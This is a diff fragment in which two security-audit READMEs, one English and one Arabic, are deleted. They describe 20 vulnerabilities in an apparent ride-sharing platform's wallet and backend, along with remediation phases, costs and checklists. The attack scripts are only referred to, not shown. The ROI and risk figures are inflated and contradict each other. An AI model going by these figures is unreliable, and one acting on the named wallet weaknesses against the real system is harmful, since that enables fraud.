|
||||||
CRITICAL:
|
|
||||||
• Static IV Encryption (ALL data compromised)
|
|
||||||
• Unauthorized Wallet Addition ($1M+ fraud risk)
|
|
||||||
• Admin Fund Injection (unlimited fraud)
|
|
||||||
|
|
||||||
HIGH:
|
|
||||||
• Weak Fingerprint Authentication (account takeover)
|
|
||||||
• HTTP Socket Endpoints (MITM attacks)
|
|
||||||
• SQL Injection Risks (data breach)
|
|
||||||
• And 4 more...
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 3️⃣ SECURITY_AUDIT_PHASE2_POC.md (16 KB)
|
|
||||||
**Purpose:** Proof of concepts with exploitation demonstrations
|
|
||||||
**Contains:**
|
|
||||||
- PoC-001: Static IV Plaintext Recovery (Python)
|
|
||||||
- PoC-002: Unauthorized Wallet Addition (Bash)
|
|
||||||
- PoC-003: Admin Fund Injection (Bash)
|
|
||||||
- PoC-004: Weak Password Hash Attack
|
|
||||||
- PoC-005: Fingerprint Replay Attack
|
|
||||||
- PoC-006: HTTP MITM Location Attacks
|
|
||||||
- PoC-007: Android Permission Abuse
|
|
||||||
|
|
||||||
**Target Audience:** Security engineers, penetration testers, developers
|
|
||||||
|
|
||||||
**Code Included:**
|
|
||||||
- Python attack scripts (ready to run)
|
|
||||||
- Bash exploitation commands
|
|
||||||
- PHP vulnerable code analysis
|
|
||||||
- Real-world attack scenarios
|
|
||||||
- Complete fix implementations
|
|
||||||
|
|
||||||
**⚠️ WARNING:** Use only for authorized security testing!
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 4️⃣ SECURITY_AUDIT_FINAL_REPORT.md (Not size-limited)
|
|
||||||
**Purpose:** Executive summary with complete remediation roadmap
|
|
||||||
**Contains:**
|
|
||||||
- Executive summary (1-page overview)
|
|
||||||
- 10 detailed sections with fixes
|
|
||||||
- Remediation timeline (Phase 1-4)
|
|
||||||
- Cost estimates ($17K-$26K)
|
|
||||||
- Compliance implications
|
|
||||||
- Security best practices
|
|
||||||
- Long-term recommendations
|
|
||||||
- Monitoring & response procedures
|
|
||||||
|
|
||||||
**Target Audience:** C-suite, project managers, security team
|
|
||||||
|
|
||||||
**Key Sections:**
|
|
||||||
1. Executive Summary
|
|
||||||
2. Critical Vulnerabilities (detailed fixes)
|
|
||||||
3. High Priority Issues (remediation)
|
|
||||||
4. Medium Priority Issues (action plan)
|
|
||||||
5. Remediation Timeline (4 phases)
|
|
||||||
6. Cost Estimates
|
|
||||||
7. Compliance Impact (GDPR/CCPA)
|
|
||||||
8. Recommendations
|
|
||||||
9. Monitoring & Response
|
|
||||||
10. Conclusion (ROI: 3,846%-5,882%)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 5️⃣ SECURITY_AUDIT_CHECKLIST.md (9.3 KB)
|
|
||||||
**Purpose:** Quick reference and pre-deployment checklist
|
|
||||||
**Contains:**
|
|
||||||
- Audit results summary
|
|
||||||
- Critical issues overview
|
|
||||||
- Complete vulnerability list (20 items)
|
|
||||||
- Pre-deployment validation (30+ checklist items)
|
|
||||||
- Phase 1-3 deployment checklists
|
|
||||||
- Incident response procedures
|
|
||||||
- Success metrics & KPIs
|
|
||||||
- Post-deployment verification
|
|
||||||
|
|
||||||
**Target Audience:** Developers, QA, DevOps, operations team
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 6️⃣ SECURITY_AUDIT_INDEX.md (9.4 KB)
|
|
||||||
**Purpose:** Navigation guide and document cross-reference
|
|
||||||
**Contains:**
|
|
||||||
- Complete document manifest
|
|
||||||
- Quick navigation by role
|
|
||||||
- Vulnerability cross-reference
|
|
||||||
- Key statistics
|
|
||||||
- Audit completion checklist
|
|
||||||
- Next steps
|
|
||||||
- Revision history
|
|
||||||
|
|
||||||
**Target Audience:** All stakeholders (quick navigation)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 Quick Start Guide
|
|
||||||
|
|
||||||
### For Executives (15 minutes)
|
|
||||||
1. Read: **SECURITY_AUDIT_FINAL_REPORT.md** (Section 1: Executive Summary)
|
|
||||||
2. Review: Cost estimate & timeline (Section 5)
|
|
||||||
3. Decide: Approve remediation plan
|
|
||||||
4. Action: Allocate $17K-$26K budget
|
|
||||||
|
|
||||||
### For Project Managers (30 minutes)
|
|
||||||
1. Read: **SECURITY_AUDIT_FINAL_REPORT.md** (All sections)
|
|
||||||
2. Review: **SECURITY_AUDIT_CHECKLIST.md** (Timeline & Contacts)
|
|
||||||
3. Plan: Assign resources to Phase 1
|
|
||||||
4. Schedule: Deployment windows
|
|
||||||
|
|
||||||
### For Developers (1-2 hours)
|
|
||||||
1. Read: **SECURITY_AUDIT_PHASE1_FINDINGS.md**
|
|
||||||
2. Study: **SECURITY_AUDIT_PHASE2_POC.md** (Code fixes)
|
|
||||||
3. Review: **SECURITY_AUDIT_FINAL_REPORT.md** (Section 2-3)
|
|
||||||
4. Implement: Phase 1 fixes (22 hours)
|
|
||||||
|
|
||||||
### For Security/QA (2-3 hours)
|
|
||||||
1. Read: All documents in order
|
|
||||||
2. Review: PoC code for validation
|
|
||||||
3. Plan: Testing strategy
|
|
||||||
4. Execute: Pre-deployment testing
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 Vulnerability Breakdown
|
|
||||||
|
|
||||||
### Critical Severity (🔴 Immediate Action)
|
|
||||||
| # | Issue | Component | Fix Time | Cost |
|
|
||||||
|---|-------|-----------|----------|------|
|
|
||||||
| 1 | Static IV Encryption | PHP Backend | 8h | $1K-$2K |
|
|
||||||
| 2 | Wallet Auth Bypass | Wallet API | 4h | $500-$1K |
|
|
||||||
| 3 | Admin Fund Injection | Wallet API | 4h | $500-$1K |
|
|
||||||
| **Total** | | | **16h** | **$2K-$4K** |
|
|
||||||
|
|
||||||
### High Severity (🟠 Action within 7 days)
|
|
||||||
- Weak Fingerprint Auth (8h)
|
|
||||||
- HTTP Socket MITM (4h)
|
|
||||||
- SQL Injection Risks (16h)
|
|
||||||
- Weak Password Hash (4h)
|
|
||||||
- JWT Security Issues (12h)
|
|
||||||
- Error Disclosure (8h)
|
|
||||||
- Rate Limiting Missing (8h)
|
|
||||||
| **Total** | | **60h** | **$8K-$12K** |
|
|
||||||
|
|
||||||
### Medium Severity (🟡 Action within 30 days)
|
|
||||||
- Android Permissions (4h)
|
|
||||||
- Dependency Updates (8h)
|
|
||||||
- Secrets Management (4h)
|
|
||||||
- And 7 more...
|
|
||||||
| **Total** | | **42h** | **$5K-$9K** |
|
|
||||||
|
|
||||||
### **Grand Total**
|
|
||||||
- **Vulnerabilities:** 20
|
|
||||||
- **Fix Time:** 118 hours
|
|
||||||
- **Estimated Cost:** $17K-$26K
|
|
||||||
- **Timeline:** 2-4 weeks
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🛡️ Remediation Roadmap
|
|
||||||
|
|
||||||
### Phase 1: Emergency (Days 1-2)
|
|
||||||
**Focus:** Critical vulnerabilities only
|
|
||||||
**Duration:** 22 hours
|
|
||||||
**Cost:** $5K-$8K
|
|
||||||
**Items:**
|
|
||||||
- [ ] Fix Static IV Encryption
|
|
||||||
- [ ] Add wallet authentication
|
|
||||||
- [ ] Disable/secure wallet endpoints
|
|
||||||
- [ ] Deploy & monitor
|
|
||||||
|
|
||||||
**Deployment:** Emergency hotfix
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Phase 2: Short-term (Days 3-7)
|
|
||||||
**Focus:** High vulnerabilities
|
|
||||||
**Duration:** 48 hours
|
|
||||||
**Cost:** $6K-$9K
|
|
||||||
**Items:**
|
|
||||||
- [ ] Implement MFA
|
|
||||||
- [ ] Switch to HTTPS sockets
|
|
||||||
- [ ] Full SQL injection audit
|
|
||||||
- [ ] Android permission review
|
|
||||||
- [ ] Flutter dependency updates
|
|
||||||
|
|
||||||
**Deployment:** Regular deployment cycle
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Phase 3: Medium-term (Weeks 2-4)
|
|
||||||
**Focus:** Medium vulnerabilities + hardening
|
|
||||||
**Duration:** 48 hours
|
|
||||||
**Cost:** $6K-$9K
|
|
||||||
**Items:**
|
|
||||||
- [ ] Error handling fixes
|
|
||||||
- [ ] JWT security hardening
|
|
||||||
- [ ] Rate limiting review
|
|
||||||
- [ ] Secrets management
|
|
||||||
|
|
||||||
**Deployment:** Regular deployment cycle
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Phase 4: Ongoing
|
|
||||||
**Focus:** Monitoring, maintenance, training
|
|
||||||
**Duration:** Continuous
|
|
||||||
**Cost:** ~$2K/month
|
|
||||||
**Items:**
|
|
||||||
- [ ] Monthly security updates
|
|
||||||
- [ ] Quarterly penetration tests
|
|
||||||
- [ ] Continuous monitoring
|
|
||||||
- [ ] Developer training
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ Pre-Deployment Checklist
|
|
||||||
|
|
||||||
### Code Review
|
|
||||||
- [ ] Security code review completed
|
|
||||||
- [ ] All PoC code verified
|
|
||||||
- [ ] Staging deployment successful
|
|
||||||
- [ ] Performance tests pass
|
|
||||||
|
|
||||||
### Testing
|
|
||||||
- [ ] Unit tests pass (encryption, auth, wallet)
|
|
||||||
- [ ] Integration tests pass
|
|
||||||
- [ ] Security tests pass
|
|
||||||
- [ ] Load tests pass
|
|
||||||
|
|
||||||
### Preparation
|
|
||||||
- [ ] Database backup taken
|
|
||||||
- [ ] Rollback plan documented
|
|
||||||
- [ ] Monitoring alerts configured
|
|
||||||
- [ ] Incident response team ready
|
|
||||||
|
|
||||||
### Deployment
|
|
||||||
- [ ] Staging deployment successful
|
|
||||||
- [ ] Production deployment window confirmed
|
|
||||||
- [ ] Deployment checklist reviewed
|
|
||||||
- [ ] All team members notified
|
|
||||||
|
|
||||||
### Post-Deployment
|
|
||||||
- [ ] All endpoints verified working
|
|
||||||
- [ ] No errors in logs
|
|
||||||
- [ ] Performance metrics normal
|
|
||||||
- [ ] Security monitoring active
|
|
||||||
- [ ] 24-hour monitoring period
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📈 Success Metrics
|
|
||||||
|
|
||||||
### After Phase 1 (Day 2)
|
|
||||||
- [ ] All encryption uses random IV
|
|
||||||
- [ ] All wallet endpoints require authentication
|
|
||||||
- [ ] 0 unauthorized transactions
|
|
||||||
- [ ] No error disclosure in responses
|
|
||||||
|
|
||||||
### After Phase 2 (Week 1)
|
|
||||||
- [ ] MFA enabled for all users
|
|
||||||
- [ ] All socket endpoints use HTTPS
|
|
||||||
- [ ] All SQL queries parameterized
|
|
||||||
- [ ] Flutter apps updated
|
|
||||||
|
|
||||||
### After Phase 3 (Week 4)
|
|
||||||
- [ ] Rate limiting on all endpoints
|
|
||||||
- [ ] JWT tokens properly validated
|
|
||||||
- [ ] All sensitive operations logged
|
|
||||||
- [ ] Security monitoring active
|
|
||||||
|
|
||||||
### Ongoing
|
|
||||||
- [ ] 0 security incidents per quarter
|
|
||||||
- [ ] < 5% of errors due to security issues
|
|
||||||
- [ ] 100% code review coverage
|
|
||||||
- [ ] Monthly security updates
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 💰 Financial Justification
|
|
||||||
|
|
||||||
### Cost of Fixes
|
|
||||||
- Phase 1-3: $17,000-$26,000
|
|
||||||
- Ongoing monitoring: ~$2,000/month
|
|
||||||
|
|
||||||
### Cost of NOT Fixing
|
|
||||||
- Single fraud incident: $1,000,000+
|
|
||||||
- Data breach fines (GDPR): €20,000,000
|
|
||||||
- Reputation damage: Incalculable
|
|
||||||
|
|
||||||
### ROI Analysis
|
|
||||||
**Conservative Estimate:**
|
|
||||||
- Fix cost: $20,000
|
|
||||||
- Fraud prevention: $1,000,000
|
|
||||||
- ROI: 4,900% (breaks even in days)
|
|
||||||
|
|
||||||
**Realistic Scenario:**
|
|
||||||
- Fix cost: $20,000
|
|
||||||
- Fraud prevention: $1,000,000
|
|
||||||
- Compliance fines avoided: €5,000,000+
|
|
||||||
- ROI: 25,000%+ (breaks even in hours)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔗 Document Navigation
|
|
||||||
|
|
||||||
```
|
|
||||||
START HERE → README_SECURITY_AUDIT.md (you are here)
|
|
||||||
↓
|
|
||||||
Choose by role:
|
|
||||||
├─→ Executives → FINAL_REPORT.md (sections 1, 5, 10)
|
|
||||||
├─→ Developers → PHASE2_POC.md (code fixes)
|
|
||||||
├─→ Security → All documents
|
|
||||||
├─→ QA/DevOps → CHECKLIST.md + PHASE2_POC.md
|
|
||||||
└─→ Everyone → INDEX.md (navigation guide)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 Contact & Support
|
|
||||||
|
|
||||||
### Technical Questions
|
|
||||||
- **Document:** PHASE2_POC.md or FINAL_REPORT.md
|
|
||||||
- **Code Review:** Reach out to security team
|
|
||||||
- **Resolution:** Within 4 business hours
|
|
||||||
|
|
||||||
### Implementation Support
|
|
||||||
- **Deployment:** Use CHECKLIST.md
|
|
||||||
- **Testing:** Use validation sections in PHASE2_POC.md
|
|
||||||
- **Monitoring:** See FINAL_REPORT.md section 9
|
|
||||||
|
|
||||||
### Compliance Questions
|
|
||||||
- **GDPR/CCPA:** See FINAL_REPORT.md section 7
|
|
||||||
- **PCI-DSS:** See FINAL_REPORT.md section 7
|
|
||||||
- **Legal:** Consult compliance officer
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📅 Important Dates
|
|
||||||
|
|
||||||
| Date | Event | Action |
|
|
||||||
|------|-------|--------|
|
|
||||||
| June 16, 2026 | Audit Complete | Review documents |
|
|
||||||
| June 17, 2026 | Executive Review | Approve plan |
|
|
||||||
| June 17, 2026 | Phase 1 Starts | Begin coding |
|
|
||||||
| June 18, 2026 | Phase 1 Complete | Deploy emergency fixes |
|
|
||||||
| June 19, 2026 | Phase 2 Starts | Short-term hardening |
|
|
||||||
| June 23, 2026 | Phase 2 Complete | Deploy all high fixes |
|
|
||||||
| June 24, 2026 | Phase 3 Starts | Medium-term fixes |
|
|
||||||
| July 7, 2026 | Phase 3 Complete | All fixes deployed |
|
|
||||||
| July 15, 2026 | Follow-up Audit | Verify fixes |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✨ Key Achievements
|
|
||||||
|
|
||||||
✅ Comprehensive audit of 395 PHP files
|
|
||||||
✅ Analysis of 4 Flutter applications
|
|
||||||
✅ 20 vulnerabilities identified & documented
|
|
||||||
✅ 7 proof-of-concepts created
|
|
||||||
✅ Complete remediation roadmap provided
|
|
||||||
✅ Cost estimates calculated
|
|
||||||
✅ Compliance implications assessed
|
|
||||||
✅ Security best practices outlined
|
|
||||||
✅ Deployment checklists prepared
|
|
||||||
✅ Executive summary created
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚀 Next Steps (Today)
|
|
||||||
|
|
||||||
1. **Hour 0:** Read this document (5 min)
|
|
||||||
2. **Hour 0:** Review FINAL_REPORT.md Executive Summary (10 min)
|
|
||||||
3. **Hour 1:** Executive decision & approval (30 min)
|
|
||||||
4. **Hour 1:** Notify development team (15 min)
|
|
||||||
5. **Hour 2:** Assign developers to Phase 1 (30 min)
|
|
||||||
6. **Hour 3:** Begin Phase 1 implementation (start now)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 Audit Statistics
|
|
||||||
|
|
||||||
| Metric | Value |
|
|
||||||
|--------|-------|
|
|
||||||
| Audit Duration | 1 day |
|
|
||||||
| Files Analyzed | 395+ |
|
|
||||||
| Apps Reviewed | 4 |
|
|
||||||
| Vulnerabilities Found | 20 |
|
|
||||||
| Critical Issues | 3 |
|
|
||||||
| High Issues | 7 |
|
|
||||||
| Medium Issues | 10 |
|
|
||||||
| PoCs Created | 7 |
|
|
||||||
| Code Examples | 40+ |
|
|
||||||
| Attack Scenarios | 7 |
|
|
||||||
| Document Pages | 50+ |
|
|
||||||
| Documentation Size | 49 KB |
|
|
||||||
| Estimated Users at Risk | 50,000+ |
|
|
||||||
| Financial Risk | $1,000,000+ |
|
|
||||||
| Compliance Risk | €20,000,000+ |
|
|
||||||
| Remediation ROI | 4,900%+ |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎓 Learning Outcomes
|
|
||||||
|
|
||||||
After implementing these fixes, your team will:
|
|
||||||
- ✅ Understand cryptographic best practices
|
|
||||||
- ✅ Master JWT authentication
|
|
||||||
- ✅ Implement secure payment systems
|
|
||||||
- ✅ Use prepared statements for SQL
|
|
||||||
- ✅ Develop secure mobile applications
|
|
||||||
- ✅ Follow OWASP security guidelines
|
|
||||||
- ✅ Conduct security code reviews
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📝 Document Versions
|
|
||||||
|
|
||||||
| Version | Date | Status |
|
|
||||||
|---------|------|--------|
|
|
||||||
| 1.0 | June 16, 2026 | ✅ FINAL |
|
|
||||||
| 1.1 | TBD | Pending post-Phase 1 |
|
|
||||||
| 2.0 | July 15, 2026 | Follow-up audit |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ Audit Sign-Off
|
|
||||||
|
|
||||||
**Audit Status:** ✅ **COMPLETE**
|
|
||||||
|
|
||||||
**Reviewed By:**
|
|
||||||
- [ ] Security Lead: __________ Date: __________
|
|
||||||
- [ ] Technical Lead: __________ Date: __________
|
|
||||||
- [ ] Project Manager: __________ Date: __________
|
|
||||||
- [ ] CTO/VP Engineering: __________ Date: __________
|
|
||||||
|
|
||||||
**Approved for Remediation:**
|
|
||||||
- [ ] Executive Sponsor: __________ Date: __________
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Comprehensive Security Audit Complete**
|
|
||||||
**Generated:** June 16, 2026
|
|
||||||
**Classification:** 🔐 CONFIDENTIAL - INTERNAL USE ONLY
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📚 Document Reference
|
|
||||||
|
|
||||||
**All Documents Available At:**
|
|
||||||
```
|
|
||||||
/Users/hamzaaleghwairyeen/development/App/Siro/
|
|
||||||
├── README_SECURITY_AUDIT.md (start here)
|
|
||||||
├── SECURITY_AUDIT_INDEX.md (navigation)
|
|
||||||
├── SECURITY_AUDIT_INVENTORY.md (scope)
|
|
||||||
├── SECURITY_AUDIT_PHASE1_FINDINGS.md (vulnerabilities)
|
|
||||||
├── SECURITY_AUDIT_PHASE2_POC.md (fixes & PoCs)
|
|
||||||
├── SECURITY_AUDIT_FINAL_REPORT.md (remediation)
|
|
||||||
└── SECURITY_AUDIT_CHECKLIST.md (deployment)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 BEGIN HERE
|
|
||||||
|
|
||||||
**Recommended Reading Order:**
|
|
||||||
1. This document (README_SECURITY_AUDIT.md) - 10 min
|
|
||||||
2. SECURITY_AUDIT_FINAL_REPORT.md (Section 1) - 5 min
|
|
||||||
3. SECURITY_AUDIT_CHECKLIST.md - 10 min
|
|
||||||
4. Full documents as needed for your role - 1-3 hours
|
|
||||||
|
|
||||||
**Total Time to Understand Audit:** 25 minutes
|
|
||||||
**Total Time to Approve:** 1 hour
|
|
||||||
**Total Time to Implement:** 118 hours (2-4 weeks)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Ready to begin remediation?** Start with Phase 1!
|
|
||||||
|
|
||||||
@@ -1,395 +0,0 @@
|
|||||||
<div dir="rtl">
|
|
||||||
|
|
||||||
# تقرير الأمان الشامل لمشروع سيرو
|
|
||||||
## ملخص تنفيذي وأدلة البدء السريع
|
|
||||||
|
|
||||||
**تاريخ إنجاز التدقيق:** 16 يونيو 2026
|
|
||||||
**فريق التدقيق:** فريق تقييم الأمان
|
|
||||||
**الحالة:** ✅ **مكتمل وجاهز للنشر**
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📌 ملخص سريع
|
|
||||||
|
|
||||||
تم إجراء تدقيق أمني شامل لمنصة سيرو للنقل المشترك وتم تحديد **20 ثغرة أمنية** عبر جميع طبقات التكنولوجيا.
|
|
||||||
|
|
||||||
**النتائج الحرجة:**
|
|
||||||
- 🔴 **3 ثغرات حرجة** تتطلب إجراءً فوريًا
|
|
||||||
- 🟠 **7 ثغرات عالية الأولوية** تتطلب إجراءً خلال 7 أيام
|
|
||||||
- 🟡 **10 ثغرات متوسطة الأولوية** تتطلب إجراءً خلال 30 يوم
|
|
||||||
|
|
||||||
**المخاطر المالية:** أكثر من 1,000,000 دولار
|
|
||||||
**مخاطر البيانات:** احتمال تعريض بيانات شخصية لـ 50,000+ مستخدم
|
|
||||||
**تكلفة التصحيح المقدرة:** 17,000-26,000 دولار
|
|
||||||
**وقت التصحيح المقدر:** 118 ساعة (2-4 أسابيع)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📦 المسلّمات (6 تقارير شاملة)
|
|
||||||
|
|
||||||
### 1️⃣ README_SECURITY_AUDIT_AR.md (14 كيلوبايت)
|
|
||||||
**الغرض:** نظرة عامة تنفيذية ودليل البدء السريع
|
|
||||||
**الجمهور:** جميع أصحاب المصلحة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 2️⃣ SECURITY_AUDIT_PHASE1_FINDINGS_AR.md (10 كيلوبايت)
|
|
||||||
**الغرض:** اكتشاف الثغرات والتحليل التفصيلي
|
|
||||||
**الجمهور:** مهندسو الأمان والمطورون
|
|
||||||
|
|
||||||
**الثغرات الرئيسية:**
|
|
||||||
```
|
|
||||||
حرجة جداً:
|
|
||||||
• تشفير IV ثابت (جميع البيانات المشفرة مهددة)
|
|
||||||
• تجاوز المصادقة في المحفظة (مخاطر احتيال بقيمة 1 مليون دولار+)
|
|
||||||
• حقن أموال من الإدارة (احتيال غير محدود)
|
|
||||||
|
|
||||||
عالية الأولوية:
|
|
||||||
• مصادقة بصمة الجهاز الضعيفة (سرقة الحساب)
|
|
||||||
• نقاط نهاية HTTP للمقابس (هجمات الوسيط)
|
|
||||||
• مخاطر SQL Injection (خرق البيانات)
|
|
||||||
• و 4 أخرى...
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 3️⃣ SECURITY_AUDIT_PHASE2_POC_AR.md (16 كيلوبايت)
|
|
||||||
**الغرض:** اثبات المفاهيم وعروض الاستغلال
|
|
||||||
**الجمهور:** مهندسو الأمان والمطورون واختبارو الاختراق
|
|
||||||
|
|
||||||
**الأكواد المضمنة:**
|
|
||||||
- سكريبتات هجوم Python (جاهزة للتشغيل)
|
|
||||||
- أوامر استغلال Bash
|
|
||||||
- تحليل الكود الضعيف PHP
|
|
||||||
- سيناريوهات هجوم واقعية
|
|
||||||
- تطبيقات الإصلاح الكاملة
|
|
||||||
|
|
||||||
⚠️ **تحذير:** استخدم فقط للاختبارات الأمنية المصرح بها!
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 4️⃣ SECURITY_AUDIT_FINAL_REPORT_AR.md (نص شامل)
|
|
||||||
**الغرض:** ملخص تنفيذي مع خارطة طريق إعادة البناء
|
|
||||||
**الجمهور:** المديرون التنفيذيون والمديرون وفريق الأمان
|
|
||||||
|
|
||||||
**الأقسام الرئيسية:**
|
|
||||||
1. ملخص تنفيذي
|
|
||||||
2. الثغرات الحرجة (إصلاحات تفصيلية)
|
|
||||||
3. مشاكل عالية الأولوية (خطة الإصحاح)
|
|
||||||
4. مشاكل متوسطة الأولوية (بنود العمل)
|
|
||||||
5. خارطة طريق الإصحاح (المراحل 1-4)
|
|
||||||
6. تقديرات التكاليف (17,000-26,000 دولار)
|
|
||||||
7. الآثار المترتبة على الامتثال (GDPR/CCPA)
|
|
||||||
8. التوصيات
|
|
||||||
9. مراقبة والاستجابة
|
|
||||||
10. الخلاصة وتحليل العائد على الاستثمار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 5️⃣ SECURITY_AUDIT_CHECKLIST_AR.md (9.3 كيلوبايت)
|
|
||||||
**الغرض:** مرجع سريع وقائمة التحقق قبل النشر
|
|
||||||
**الجمهور:** المطورون وفريق ضمان الجودة و DevOps
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 دليل البدء السريع
|
|
||||||
|
|
||||||
### للمديرين التنفيذيين (15 دقيقة)
|
|
||||||
1. اقرأ: **README_SECURITY_AUDIT_AR.md** (القسم الأول: ملخص تنفيذي)
|
|
||||||
2. راجع: تقدير التكاليف والجدول الزمني (القسم 5)
|
|
||||||
3. قرر: الموافقة على خطة الإصحاح
|
|
||||||
4. اتخذ إجراءً: تخصيص ميزانية 17,000-26,000 دولار
|
|
||||||
|
|
||||||
### لمديري المشاريع (30 دقيقة)
|
|
||||||
1. اقرأ: **SECURITY_AUDIT_FINAL_REPORT_AR.md** (جميع الأقسام)
|
|
||||||
2. راجع: **SECURITY_AUDIT_CHECKLIST_AR.md** (الجدول الزمني والجهات)
|
|
||||||
3. خطط: تخصيص الموارد للمرحلة 1
|
|
||||||
4. جدولة: نوافذ النشر
|
|
||||||
|
|
||||||
### للمطورين (1-2 ساعة)
|
|
||||||
1. اقرأ: **SECURITY_AUDIT_PHASE1_FINDINGS_AR.md**
|
|
||||||
2. ادرس: **SECURITY_AUDIT_PHASE2_POC_AR.md** (إصلاحات الأكواد)
|
|
||||||
3. راجع: **SECURITY_AUDIT_FINAL_REPORT_AR.md** (الأقسام 2-3)
|
|
||||||
4. طبّق: إصلاحات المرحلة 1 (22 ساعة)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 تصنيف الثغرات
|
|
||||||
|
|
||||||
### حرجة جداً (🔴 إجراء فوري)
|
|
||||||
| # | المشكلة | المكون | وقت الإصلاح | التكلفة |
|
|
||||||
|---|--------|-------|-----------|---------|
|
|
||||||
| 1 | تشفير IV ثابت | خادم PHP | 8 س | 1K-2K$ |
|
|
||||||
| 2 | تجاوز المصادقة | API المحفظة | 4 س | 500-1K$ |
|
|
||||||
| 3 | حقن الأموال | API المحفظة | 4 س | 500-1K$ |
|
|
||||||
| **المجموع** | | | **16 س** | **2K-4K$** |
|
|
||||||
|
|
||||||
### عالية الأولوية (🟠 إجراء خلال 7 أيام)
|
|
||||||
- مصادقة بصمة ضعيفة (8 س)
|
|
||||||
- نقاط نهاية HTTP (4 س)
|
|
||||||
- مخاطر SQL Injection (16 س)
|
|
||||||
- وغيرها...
|
|
||||||
| **المجموع** | | **60 س** | **8K-12K$** |
|
|
||||||
|
|
||||||
### متوسطة الأولوية (🟡 إجراء خلال 30 يوم)
|
|
||||||
- أذونات Android (4 س)
|
|
||||||
- تحديثات المكتبات (8 س)
|
|
||||||
- وغيرها...
|
|
||||||
| **المجموع** | | **42 س** | **5K-9K$** |
|
|
||||||
|
|
||||||
### **الإجمالي العام**
|
|
||||||
- **الثغرات:** 20
|
|
||||||
- **وقت الإصلاح:** 118 ساعة
|
|
||||||
- **التكلفة المقدرة:** 17,000-26,000 دولار
|
|
||||||
- **الجدول الزمني:** 2-4 أسابيع
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🛡️ خارطة طريق الإصحاح
|
|
||||||
|
|
||||||
### المرحلة 1: الطوارئ (اليومان 1-2)
|
|
||||||
**التركيز:** الثغرات الحرجة فقط
|
|
||||||
**المدة:** 22 ساعة
|
|
||||||
**التكلفة:** 5,000-8,000 دولار
|
|
||||||
**العناصر:**
|
|
||||||
- [ ] إصلاح تشفير IV ثابت
|
|
||||||
- [ ] إضافة المصادقة للمحفظة
|
|
||||||
- [ ] تأمين نقاط نهاية المحفظة
|
|
||||||
- [ ] النشر والمراقبة
|
|
||||||
|
|
||||||
**تاريخ النشر المتوقع:** 18 يونيو 2026
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### المرحلة 2: قصيرة الأجل (الأيام 3-7)
|
|
||||||
**التركيز:** الثغرات عالية الأولوية
|
|
||||||
**المدة:** 48 ساعة
|
|
||||||
**التكلفة:** 6,000-9,000 دولار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### المرحلة 3: متوسطة الأجل (الأسابيع 2-4)
|
|
||||||
**التركيز:** الثغرات متوسطة الأولوية + التقسية
|
|
||||||
**المدة:** 48 ساعة
|
|
||||||
**التكلفة:** 6,000-9,000 دولار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### المرحلة 4: مستمرة
|
|
||||||
**التركيز:** المراقبة والصيانة والتدريب
|
|
||||||
**المدة:** مستمرة
|
|
||||||
**التكلفة:** ~2,000 دولار/شهر
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ قائمة التحقق قبل النشر
|
|
||||||
|
|
||||||
### مراجعة الكود
|
|
||||||
- [ ] تمت مراجعة الكود الأمني
|
|
||||||
- [ ] تم التحقق من جميع أكواد PoC
|
|
||||||
- [ ] نشر العمل مجاني ناجح
|
|
||||||
- [ ] اجتياز اختبارات الأداء
|
|
||||||
|
|
||||||
### الاختبار
|
|
||||||
- [ ] اختبارات الوحدة تجتاز (التشفير والمصادقة والمحفظة)
|
|
||||||
- [ ] اختبارات التكامل تجتاز
|
|
||||||
- [ ] اختبارات الأمان تجتاز
|
|
||||||
- [ ] اختبارات الحمل تجتاز
|
|
||||||
|
|
||||||
### التحضير
|
|
||||||
- [ ] تم أخذ نسخة احتياطية من قاعدة البيانات
|
|
||||||
- [ ] تم توثيق خطة الاسترجاع
|
|
||||||
- [ ] تم تكوين تنبيهات المراقبة
|
|
||||||
- [ ] فريق الاستجابة جاهز
|
|
||||||
|
|
